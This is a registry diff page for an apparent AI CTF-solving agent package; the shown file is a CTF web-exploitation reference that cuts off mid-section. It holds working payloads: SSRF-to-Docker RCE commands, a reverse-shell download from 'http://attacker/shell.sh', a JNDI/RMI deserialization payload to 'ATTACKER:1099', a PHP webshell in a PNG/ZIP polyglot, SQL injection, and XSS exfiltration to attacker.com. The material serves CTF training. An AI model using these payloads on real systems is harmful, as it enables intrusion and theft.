ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,559 @@
1
+ # CTF Web - Advanced Server-Side Techniques (Part 2)
2
+
3
+ ## Table of Contents
4
+ - [SSRF to Docker API RCE Chain (H7CTF 2025)](#ssrf-to-docker-api-rce-chain-h7ctf-2025)
5
+ - [Castor XML Deserialization via xsi:type Polymorphism (Atlas HTB)](#castor-xml-deserialization-via-xsitype-polymorphism-atlas-htb)
6
+ - [Apache ErrorDocument Expression File Read (Zero HTB)](#apache-errordocument-expression-file-read-zero-htb)
7
+ - [SQLite File Path Traversal to Bypass String Equality (Codegate 2013)](#sqlite-file-path-traversal-to-bypass-string-equality-codegate-2013)
8
+ - [HQL Injection via Non-Breaking Space (HackIM 2016)](#hql-injection-via-non-breaking-space-hackim-2016)
9
+ - [Base64-Encoded Path Traversal (Sharif CTF 2016)](#base64-encoded-path-traversal-sharif-ctf-2016)
10
+ - [Windows 8.3 Short Filename Path Traversal Bypass (Tokyo Westerns 2016)](#windows-83-short-filename-path-traversal-bypass-tokyo-westerns-2016)
11
+ - [URL parse_url() @ Symbol Bypass (EKOPARTY CTF 2016)](#url-parse_url--symbol-bypass-ekoparty-ctf-2016)
12
+ - [PHP zip:// Wrapper LFI via PNG/ZIP Polyglot (PlaidCTF 2016)](#php-zip-wrapper-lfi-via-pngzip-polyglot-plaidctf-2016)
13
+ - [XSS to SSTI Chain via Flask Error Pages (SECUINSIDE 2016)](#xss-to-ssti-chain-via-flask-error-pages-secuinside-2016)
14
+ - [INSERT INTO Dual-Field SQLi Column Shift (CyberSecurityRumble 2016)](#insert-into-dual-field-sqli-column-shift-cybersecurityrumble-2016)
15
+ - [Session Cookie Forgery via Timestamp-Seeded PRNG (CyberSecurityRumble 2016)](#session-cookie-forgery-via-timestamp-seeded-prng-cybersecurityrumble-2016)
16
+ - [SSRF via parse_url/curl URL Parsing Discrepancy (33C3 CTF 2016)](#ssrf-via-parse_urlcurl-url-parsing-discrepancy-33c3-ctf-2016)
17
+ - [LaTeX RCE via mpost Restricted write18 Bypass (33C3 CTF 2016)](#latex-rce-via-mpost-restricted-write18-bypass-33c3-ctf-2016)
18
+ - [ElasticSearch Groovy script_fields RCE via SSRF (VolgaCTF 2017)](#elasticsearch-groovy-script_fields-rce-via-ssrf-volgactf-2017)
19
+ - [Rogue MySQL Server LOAD DATA LOCAL File Read (VolgaCTF 2018)](#rogue-mysql-server-load-data-local-file-read-volgactf-2018)
20
+
21
+ See also: [server-side-advanced.md](server-side-advanced.md) for Part 1 (ExifTool, Go rune/byte mismatch, zip symlink traversal, path traversal bypasses, Flask/Werkzeug debug, XXE external DTD, WeasyPrint SSRF, MongoDB regex injection, Pongo2 SSTI, ZIP PHP webshell, basename() bypass, React Server Components Flight RCE).
22
+
23
+ ---
24
+
25
+ ## SSRF to Docker API RCE Chain (H7CTF 2025)
26
+
27
+ **Pattern (Moby Dock):** Web app with SSRF vulnerability exposes unauthenticated Docker daemon API on port 2375. Chain SSRF through an internal proxy endpoint to relay POST requests and achieve RCE.
28
+
29
+ **Step 1 — Discover internal services via SSRF:**
30
+ ```bash
31
+ # Enumerate localhost ports through SSRF
32
+ curl "http://target/validate?url=http://localhost:2375/version"
33
+ curl "http://target/validate?url=http://localhost:8090/docs"
34
+ ```
35
+
36
+ **Step 2 — Extract files from running containers via Docker archive endpoint:**
37
+ ```bash
38
+ # List containers
39
+ curl "http://target/validate?url=http://localhost:2375/containers/json"
40
+
41
+ # Read files from container filesystem (returns tar archive)
42
+ curl "http://target/validate?url=http://localhost:2375/v1.51/containers/<container_id>/archive?path=/flag.txt"
43
+ ```
44
+
45
+ **Step 3 — Execute commands via Docker exec API (requires POST relay):**
46
+
47
+ When SSRF only allows GET requests, find an internal endpoint that can relay POST requests (e.g., `/request?method=post&data=...&url=...`).
48
+
49
+ ```bash
50
+ # 1. Create exec instance
51
+ curl "http://target/validate?url=http://localhost:8090/request?method=post\
52
+ &data={\"AttachStdout\":true,\"Cmd\":[\"cat\",\"/flag.txt\"]}\
53
+ &url=http://localhost:2375/v1.51/containers/<id>/exec"
54
+ # Returns: {"Id": "<exec_id>"}
55
+
56
+ # 2. Start exec instance
57
+ curl "http://target/validate?url=http://localhost:8090/request?method=post\
58
+ &data={\"Detach\":false,\"Tty\":false}\
59
+ &url=http://localhost:2375/v1.51/exec/<exec_id>/start"
60
+ ```
61
+
62
+ **For reverse shell access:**
63
+ ```bash
64
+ # 1. Download shell script into container
65
+ # Cmd: ["wget", "http://attacker/shell.sh", "-O", "/tmp/shell.sh"]
66
+
67
+ # 2. Execute with sh (not bash — busybox containers lack bash)
68
+ # Cmd: ["sh", "/tmp/shell.sh"]
69
+ ```
70
+
71
+ **Key Docker API endpoints for exploitation:**
72
+ | Endpoint | Method | Purpose |
73
+ |----------|--------|---------|
74
+ | `/version` | GET | Confirm Docker API access |
75
+ | `/containers/json` | GET | List running containers |
76
+ | `/containers/<id>/archive?path=<path>` | GET | Extract files (tar format) |
77
+ | `/containers/<id>/exec` | POST | Create exec instance |
78
+ | `/exec/<id>/start` | POST | Run exec instance |
79
+ | `/images/json` | GET | List available images |
80
+ | `/containers/create` | POST | Create new container |
81
+
82
+ **Key insight:** Unauthenticated Docker daemons on port 2375 give full container control. When SSRF is GET-only, look for internal proxy or request-relay endpoints that forward POST requests. Use `sh` instead of `bash` in minimal containers (busybox, alpine).
83
+
84
+ ---
85
+
86
+ ## Castor XML Deserialization via xsi:type Polymorphism (Atlas HTB)
87
+
88
+ **Pattern:** Castor XML `Unmarshaller` without mapping file trusts `xsi:type` attributes, allowing arbitrary Java class instantiation.
89
+
90
+ **Attack chain:** `xsi:type` → `PropertyPathFactoryBean` + `SimpleJndiBeanFactory` → JNDI/RMI → ysoserial JRMP listener → `CommonsBeanutils1` gadget → RCE
91
+
92
+ **Requires:** Java 11 (not 17+) — ysoserial gadgets fail on Java 17+ due to module access restrictions.
93
+
94
+ **XML payload example with Spring beans for RMI callback:**
95
+ ```xml
96
+ <data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
97
+ xmlns:java="http://java.sun.com">
98
+ <item xsi:type="java:org.springframework.beans.factory.config.PropertyPathFactoryBean">
99
+ <targetBeanName>
100
+ <item xsi:type="java:org.springframework.jndi.support.SimpleJndiBeanFactory">
101
+ <shareableResources>rmi://ATTACKER:1099/exploit</shareableResources>
102
+ </item>
103
+ </targetBeanName>
104
+ <propertyPath>foo</propertyPath>
105
+ </item>
106
+ </data>
107
+ ```
108
+
109
+ ```bash
110
+ # Start ysoserial JRMP listener
111
+ java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 'bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}'
112
+ ```
113
+
114
+ **Key insight:** Castor XML without explicit mapping files is effectively an XML-based deserialization sink. The `xsi:type` attribute acts like Java's `ObjectInputStream` — any class on the classpath can be instantiated. Check `pom.xml` for `castor-xml`, `commons-beanutils`, and `commons-collections` dependencies. JNDI (Java Naming and Directory Interface) via RMI (Remote Method Invocation) provides the callback mechanism.
115
+
116
+ **Detection:** Java app using Castor XML for deserialization, `castor-xml` in `pom.xml`, `commons-beanutils`/`commons-collections` dependencies.
117
+
118
+ ---
119
+
120
+ ## Apache ErrorDocument Expression File Read (Zero HTB)
121
+
122
+ **Pattern:** Apache's `ErrorDocument` directive with expression syntax reads files at the Apache level, bypassing PHP engine disable.
123
+
124
+ **Requires:** `AllowOverride FileInfo` in userdir config.
125
+
126
+ **Attack chain:**
127
+ 1. Upload `.htaccess` to subdirectory via SFTP (Secure File Transfer Protocol):
128
+ ```apache
129
+ ErrorDocument 404 "%{file:/etc/passwd}"
130
+ ```
131
+ 2. Request a nonexistent URL in that directory to trigger the 404 handler
132
+ 3. Read PHP source via `cat -v` to see raw content:
133
+ ```apache
134
+ ErrorDocument 404 "%{file:/var/www/html/stats.php}"
135
+ ```
136
+
137
+ **Key insight:** Works even when `php_admin_flag engine off` disables PHP execution in user directories. The `%{file:...}` expression is evaluated by Apache itself, not PHP — so PHP disable flags are irrelevant.
138
+
139
+ **Detection:** Apache with `mod_userdir`, `AllowOverride FileInfo`, writable `.htaccess` in subdirectories.
140
+
141
+ ---
142
+
143
+ ## SQLite File Path Traversal to Bypass String Equality (Codegate 2013)
144
+
145
+ **Pattern:** PHP code blocks a specific input value via string equality check, then interpolates the input into a filesystem path. Path normalization bypasses the string check while resolving to the blocked resource.
146
+
147
+ **Vulnerable code:**
148
+ ```php
149
+ if ($_POST['name'] == "GM") die("you can not view&save with 'GM'");
150
+ $db = sqlite_open("/var/game_db/gamesim_" . $_SESSION['scrap'] . ".db");
151
+ ```
152
+
153
+ **Exploit:** Set `name` to `/../gamesim_GM` — this fails the `== "GM"` check, but the constructed path `/var/game_db/gamesim_/../gamesim_GM.db` normalizes to `/var/game_db/gamesim_GM.db`.
154
+
155
+ ```bash
156
+ curl -X POST -b 'session=...' \
157
+ -d 'name=/../gamesim_GM' \
158
+ 'http://target/view.php'
159
+ ```
160
+
161
+ **Key insight:** String equality checks on user input are bypassed whenever the input is later used in a filesystem path that undergoes normalization. The `../` sequence is invisible to string comparison but resolved by the OS. Look for this pattern wherever user input is both validated by string comparison and interpolated into file paths, database paths, or URLs.
162
+
163
+ ---
164
+
165
+ ## HQL Injection via Non-Breaking Space (HackIM 2016)
166
+
167
+ Hibernate Query Language blocks subqueries. Bypass by exploiting character encoding mismatch between HQL parser and underlying database (H2):
168
+
169
+ - HQL parser treats non-breaking space (U+00A0) as a regular character (concatenates tokens into one word)
170
+ - H2 database interprets U+00A0 as whitespace (separates tokens normally)
171
+
172
+ **Key insight:** Replace spaces in SQL subqueries with U+00A0 to smuggle them past HQL validation.
173
+
174
+ ```python
175
+ val = u'\u00a0' # non-breaking space
176
+ # HQL sees: "selectXflagXfromXflagXlimitX1" (one token)
177
+ # H2 sees: "select flag from flag limit 1" (valid SQL)
178
+ payload = u"' and (cast(concat('->', (select{0}flag{0}from{0}flag{0}limit{0}1)) as int))=0 or ''='".format(val)
179
+ ```
180
+
181
+ Error-based extraction: cast result to int triggers error containing the flag value.
182
+
183
+ ---
184
+
185
+ ## Base64-Encoded Path Traversal (Sharif CTF 2016)
186
+
187
+ When file inclusion uses base64-encoded filenames as parameters:
188
+
189
+ ```text
190
+ file.php?page=aGVscC5wZGY= (decodes to "help.pdf")
191
+ ```
192
+
193
+ Encode traversal payloads in base64:
194
+
195
+ ```python
196
+ import base64
197
+ # ../index.php
198
+ print(base64.b64encode(b"../index.php").decode()) # Li4vaW5kZXgucGhw
199
+ # ../../etc/passwd
200
+ print(base64.b64encode(b"../../etc/passwd").decode()) # Li4vLi4vZXRjL3Bhc3N3ZA==
201
+ ```
202
+
203
+ **Key insight:** Base64 encoding absorbs path traversal characters (`../`) that filters might block in raw form.
204
+
205
+ ---
206
+
207
+ ## Windows 8.3 Short Filename Path Traversal Bypass (Tokyo Westerns 2016)
208
+
209
+ On Windows, files with long names have auto-generated 8.3 short name aliases. When a blacklist checks the full filename, the short name bypasses the filter.
210
+
211
+ ```text
212
+ # Blacklisted file: file_list (e.g., readfile('file_list') is blocked)
213
+ # Windows 8.3 short name: file_l~1
214
+
215
+ # Bypass:
216
+ GET /read?file=file_l~1
217
+
218
+ # How 8.3 names are generated:
219
+ # - First 6 chars of name (minus spaces/special chars) + ~1
220
+ # - Extension truncated to 3 chars
221
+ # Examples:
222
+ # "file_list.txt" -> "FILE_L~1.TXT"
223
+ # "longfilename.html" -> "LONGFI~1.HTM"
224
+ # "program files" -> "PROGRA~1"
225
+
226
+ # Discovery: use dir /x on Windows to list short names
227
+ # dir /x C:\path\to\files\
228
+ ```
229
+
230
+ **Key insight:** Windows NTFS auto-generates 8.3 short filenames for compatibility. Blacklists checking full filenames miss the short alias. This bypass works on any Windows web server (IIS, WAMP, etc.) where 8.3 name generation is enabled (default).
231
+
232
+ ---
233
+
234
+ ## URL parse_url() @ Symbol Bypass (EKOPARTY CTF 2016)
235
+
236
+ PHP's `parse_url()` treats the `@` symbol as a userinfo delimiter, interpreting everything before `@` as credentials and everything after as the host. This enables URL validation bypass.
237
+
238
+ ```php
239
+ // Server validates URL host must be ctf.example.com
240
+ // parse_url("http://attacker.com@ctf.example.com/")
241
+ // -> host: ctf.example.com (passes validation)
242
+
243
+ // But wget/curl follow RFC and connect to attacker.com:
244
+ // wget "http://attacker.com@ctf.example.com/"
245
+ // -> Actually connects to: attacker.com
246
+
247
+ // Exploit for URL shortener/fetcher:
248
+ $url = "http://{$attacker_ip}@ctf.ekoparty.org/?";
249
+ // parse_url() sees host = ctf.ekoparty.org (passes whitelist)
250
+ // wget connects to $attacker_ip (attacker-controlled)
251
+
252
+ // Check attacker's Apache logs for the flag in User-Agent or request
253
+ ```
254
+
255
+ **Key insight:** `parse_url()` and actual HTTP clients (wget, curl, browsers) disagree on how to handle `@` in URLs. `parse_url()` extracts the host after `@`, while HTTP clients may connect to the host before `@`. This SSRF vector bypasses domain whitelist validation.
256
+
257
+ ---
258
+
259
+ ## PHP zip:// Wrapper LFI via PNG/ZIP Polyglot (PlaidCTF 2016)
260
+
261
+ **Pattern (pixelshop):** PHP `include()` appends `.php` extension (no null byte on modern PHP). Upload is restricted to valid images (.png). Use `zip://` wrapper to include PHP code from inside a ZIP archive embedded in a PNG file.
262
+
263
+ 1. Use `php://filter/read=convert.base64-encode/resource=` to leak source files and understand the include logic
264
+ 2. Upload a valid PNG image to get a known filename on the server
265
+ 3. Inject a ZIP archive into the PNG's palette data (ZIP format reads headers from the end of the file, so a valid PNG can simultaneously be a valid ZIP):
266
+
267
+ ```python
268
+ import binascii, requests, struct
269
+
270
+ def craft_png_zip_polyglot(php_payload):
271
+ """Craft a ZIP payload to inject into PNG palette bytes."""
272
+ # ZIP stores its central directory at the end of the file
273
+ # Calculate offsets based on the known PNG prefix length
274
+ # The ZIP's local file header offset points into the palette region
275
+ # php_payload goes inside the ZIP as "s.php"
276
+
277
+ # Pre-built ZIP with s.php containing: <?=`$_GET[a]`?>
278
+ zip_hex = (
279
+ "504B0304140000000800" # Local file header
280
+ # ... compressed PHP shell ...
281
+ "504B01021400140000000800" # Central directory
282
+ # ... points back to local header at palette offset ...
283
+ "504B0506000000000100010033000000690000000000" # End of central directory
284
+ )
285
+ return zip_hex
286
+
287
+ def inject_payload(image_key, payload_hex):
288
+ """Use the image editor API to set palette bytes containing the ZIP."""
289
+ palette_bytes = binascii.unhexlify(payload_hex)
290
+ # Convert to RGB triplets for palette API
291
+ colors = []
292
+ for i in range(0, len(palette_bytes), 3):
293
+ chunk = palette_bytes[i:i+3].ljust(3, b'\x00')
294
+ colors.append(f'"#{chunk[0]:02x}{chunk[1]:02x}{chunk[2]:02x}"')
295
+ palette_json = ",".join(colors)
296
+ # POST to save endpoint with crafted palette
297
+ requests.post(f"{base_url}?op=save", data={
298
+ "imagekey": image_key,
299
+ "savedata": f'{{"pal": [{palette_json}], "im": [{",".join(["0"]*1024)}]}}'
300
+ })
301
+ ```
302
+
303
+ 4. Include the embedded PHP file via zip:// wrapper:
304
+ ```text
305
+ http://target/?op=zip://uploads/HASH.png%23s
306
+ ```
307
+ This unzips `HASH.png` (which is also a valid ZIP) and includes `s.php` from inside it.
308
+
309
+ **Key insight:** ZIP files store their central directory at the end, so any file format can have a valid ZIP appended (or embedded) without breaking the original format. The `zip://` PHP wrapper ignores file extensions and extracts by content. PNG palette data provides controllable consecutive bytes ideal for embedding small ZIP payloads. This bypasses: (a) file extension restrictions (.php → .png), (b) image validation (file remains a valid PNG), (c) metadata stripping (palette data is structural, not metadata).
310
+
311
+ ---
312
+
313
+ ## XSS to SSTI Chain via Flask Error Pages (SECUINSIDE 2016)
314
+
315
+ **Pattern (SBBS):** Flask app renders 404 error messages using `render_template_string()` with the request URL interpolated. Error pages only appear for localhost requests. Chain XSS → localhost fetch → SSTI in error page.
316
+
317
+ 1. Flask error handler directly interpolates URL into template:
318
+ ```python
319
+ @app.errorhandler(404)
320
+ def not_found(e=None):
321
+ message = "%s was not found on the server." % request.url
322
+ return render_template_string(template % message), 404
323
+ ```
324
+
325
+ 2. Error pages only render for 127.0.0.1 (external IPs get nginx 404)
326
+
327
+ 3. XSS payload triggers localhost request with SSTI in the URL:
328
+ ```javascript
329
+ <script>
330
+ function hack(url, callback){
331
+ var x = new XMLHttpRequest();
332
+ x.onreadystatechange = function(){
333
+ if (x.readyState == 4)
334
+ window.open('http://attacker.com/exfil?' + x.responseText, '_self', false)
335
+ }
336
+ x.open("GET", url, true);
337
+ x.send();
338
+ }
339
+ hack("/{{ config.from_object('admin.app') }}{{ config.FLAG }}")
340
+ </script>
341
+ ```
342
+
343
+ 4. `config.from_object('module.path')` loads application config including secrets
344
+
345
+ **Key insight:** Flask's template globals don't directly expose the `app` object, but `config.from_object()` can load arbitrary Python modules into the config dict, making their attributes accessible via `{{ config.KEY }}`. The XSS-to-SSTI chain bypasses two restrictions: (a) SSTI only works on localhost error pages, (b) template globals lack direct app access. Look for `render_template_string()` with user-controlled input in error handlers.
346
+
347
+ ---
348
+
349
+ ## INSERT INTO Dual-Field SQLi Column Shift (CyberSecurityRumble 2016)
350
+
351
+ **Pattern (Illuminati):** INSERT query with two injectable fields (subject: 40-char limit, message: unlimited). Chain injections across both fields to bypass the length restriction.
352
+
353
+ ```sql
354
+ -- Original query:
355
+ INSERT INTO requests (id, "$subject", "$message")
356
+
357
+ -- Subject (40 chars max):
358
+ theSubject",concat(
359
+
360
+ -- Message (unlimited):
361
+ ,(select group_concat(table_name) from information_schema.tables)))#
362
+
363
+ -- Result:
364
+ INSERT INTO requests (id, "theSubject",concat("",(select group_concat(...))))#"...")
365
+ ```
366
+
367
+ The `concat("", (select ...))` wraps the subquery result as a string value for the subject column, making it visible when the user views their own messages.
368
+
369
+ **Key insight:** When an INSERT query has multiple injectable fields but one is length-limited, use the limited field to open a `concat(` expression and the unlimited field to close it with an arbitrary subquery. This "column shift" technique moves the data extraction from the length-restricted field to the unrestricted one. Also works with `CASE WHEN` or other SQL expressions that span across field boundaries.
370
+
371
+ ---
372
+
373
+ ## Session Cookie Forgery via Timestamp-Seeded PRNG (CyberSecurityRumble 2016)
374
+
375
+ **Pattern (Illuminati):** Session cookies constructed as `random_int-user_id`, where `random_int` is seeded by the user's last login timestamp. Extract the admin's timestamp via SQLi, reproduce the PRNG to forge their cookie.
376
+
377
+ ```python
378
+ import random
379
+
380
+ # 1. Extract admin login timestamp via SQLi
381
+ admin_timestamp = 1229569179 # from: SELECT last_login FROM users WHERE id=209
382
+
383
+ # 2. Seed PRNG with timestamp
384
+ random.seed(admin_timestamp)
385
+
386
+ # 3. Generate the same random int the server produced
387
+ cookie_random = random.randint(0, 2**31)
388
+
389
+ # 4. Forge admin cookie
390
+ admin_cookie = f"{cookie_random}-209"
391
+ # Result: "1229569179-209"
392
+ ```
393
+
394
+ **Key insight:** Timestamps used as PRNG seeds for session tokens create a deterministic oracle. If the login timestamp is leaked (via SQLi, error messages, or API responses), the full token is reproducible. This pattern appears whenever session randomness depends on a single predictable seed value (time, PID, counter). Check for `random.seed(time())` or `srand(time(NULL))` in session generation code.
395
+
396
+ ---
397
+
398
+ ## SSRF via parse_url/curl URL Parsing Discrepancy (33C3 CTF 2016)
399
+
400
+ **Pattern (list0r):** PHP `parse_url()` and curl interpret URLs with multiple `@` symbols differently. The URL `http://what:ever@127.0.0.1:80@allowed.host/path` causes PHP to see `host = allowed.host` (passing a CIDR/domain whitelist check), while curl resolves to `127.0.0.1:80` (treating the second `@` as literal), achieving SSRF to localhost.
401
+
402
+ ```php
403
+ // PHP parse_url behavior:
404
+ parse_url("http://what:ever@127.0.0.1:80@allowed.host/path");
405
+ // => ['host' => 'allowed.host', 'user' => 'what', ...]
406
+
407
+ // curl behavior with same URL:
408
+ // Connects to 127.0.0.1:80 (first @ delimits credentials)
409
+ // "ever@127.0.0.1:80" parsed as password, but curl connects to first IP
410
+
411
+ // Exploit: bypass CIDR blacklist by making parse_url see whitelisted host
412
+ $url = "http://x:x@127.0.0.1:80@" . $allowed_domain . "/secret/flag";
413
+ // parse_url sees $allowed_domain -> passes check
414
+ // curl connects to 127.0.0.1:80 -> SSRF achieved
415
+ ```
416
+
417
+ **Key insight:** URL parsers disagree on how to handle multiple `@` symbols. This is distinct from the single-`@` bypass (EKOPARTY 2016) — here the double-`@` exploits a different parsing ambiguity where `parse_url` takes the last `@` as the userinfo delimiter while curl uses the first. Test both variants when facing URL-based SSRF filters.
418
+
419
+ ---
420
+
421
+ ## LaTeX RCE via mpost Restricted write18 Bypass (33C3 CTF 2016)
422
+
423
+ **Pattern (pdfmaker):** When `pdflatex` runs with `write18` in restricted mode (only whitelisted commands like `mpost` allowed), exploit `mpost`'s `-tex` flag to specify an alternative TeX processor — setting it to `bash -c (command)` achieves shell execution. Use `${IFS}` as space replacement since mpost's argument parsing strips spaces.
424
+
425
+ ```latex
426
+ % Create a MetaPost file via LaTeX
427
+ \begin{filecontents}{test.mp}
428
+ beginfig(1); endfig; end;
429
+ \end{filecontents}
430
+
431
+ % Execute mpost with bash as the "TeX processor"
432
